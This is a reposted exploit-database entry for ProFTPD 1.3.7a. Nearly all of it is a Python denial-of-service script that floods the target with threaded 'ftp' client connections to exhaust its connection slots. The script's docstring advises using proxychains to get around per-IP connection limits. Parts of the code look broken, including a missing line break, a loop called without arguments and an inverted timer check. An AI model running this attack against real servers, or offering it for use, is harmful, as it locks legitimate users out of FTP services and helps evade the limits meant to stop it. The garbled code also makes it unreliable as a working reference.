ProFTPD 1.3.7a Denial Of Service ≈ Packet Storm – Digitalmunition




Exploit/Advisories no-image-featured-image.png

Published on March 23rd, 2021 📆 | 2016 Views ⚑

0

ProFTPD 1.3.7a Denial Of Service ≈ Packet Storm

# Exploit Title: ProFTPD 1.3.7a – Remote Denial of Service
# Date: 22/03/2021
# Exploit Author: xynmaps
# Vendor Homepage: http://www.proftpd.org/
# Software Link: https://github.com/proftpd/proftpd
# Version: 1.3.7a
# Tested on: Parrot Security OS 5.9.0

#——————————-#

#encoding=utf8
#__author__ = XYN/Dump/NSKB3
#ProFTPD Denial of Service exploit by XYN/Dump/NSKB3.
“””
ProFTPD only lets a certain amount of connections to be made to the server, so, by repeatedly making new connections to the server,
you can block other legitimite users from making a connection to the server, if the the connections/ip isn’t limited.
(if it’s limited, just run this script from different proxies using proxychains, and it will work)
“””

import socket
import sys
import threading
import subprocess
import time

banner = “””
._________________.
| ProFTPD |
| D o S |
|_________________|
|By XYN/DUMP/NSKB3|
|_|_____________|_|
|_|_|_|_____|_|_|_|
|_|_|_|_|_|_|_|_|_|

“””
usage = “{} “.format(sys.argv[0])

def test(t,p):
s = socket.socket()
s.settimeout(10)
try:
s.connect((t, p))
response = s.recv(65535)
s.close()
return 0
except socket.error:
print(“Port {} is not open, please specify a port that is open.”.format(p))
sys.exit()
def attack(targ, po, id):
try:
subprocess.Popen(“ftp {0} {1}”.format(targ, po), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
#print(“Worker {} running”.format(id))
except OSError: pass
def main():
global target, port, start
print banner
try:
target = sys.argv[1]except:
print usage
sys.exit()
try:
port = int(sys.argv[2])
except:
port = 21
try:
conns = int(sys.argv[3])
except:
conns = 50
print(“[!] Testing if {0}:{1} is open”.format(target, port))
test(target, port)
print(“[+] Port {} open, starting attack…”.format(port))
time.sleep(2)
print(“[+] Attack started on {0}:{1}!”.format(target, port))
def loop(target, port, conns):
global start
threading.Thread(target=timer).start()
while 1:
for i in range(1, conns + 3):
t = threading.Thread(target=attack, args=(target,port,i,))
t.start()
if i > conns + 2:
t.join()
break
loop()

t = threading.Thread(target=loop, args=(target, port, conns,))
t.start()

def timer():
start = time.time()
while 1:
if start < time.time() + float(900): pass
else:
subprocess.Popen(“pkill ftp”, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
t = threading.Thread(target=loop, args=(target, port,))
t.start()
break

main()

Source link

Tagged with:



Leave a Reply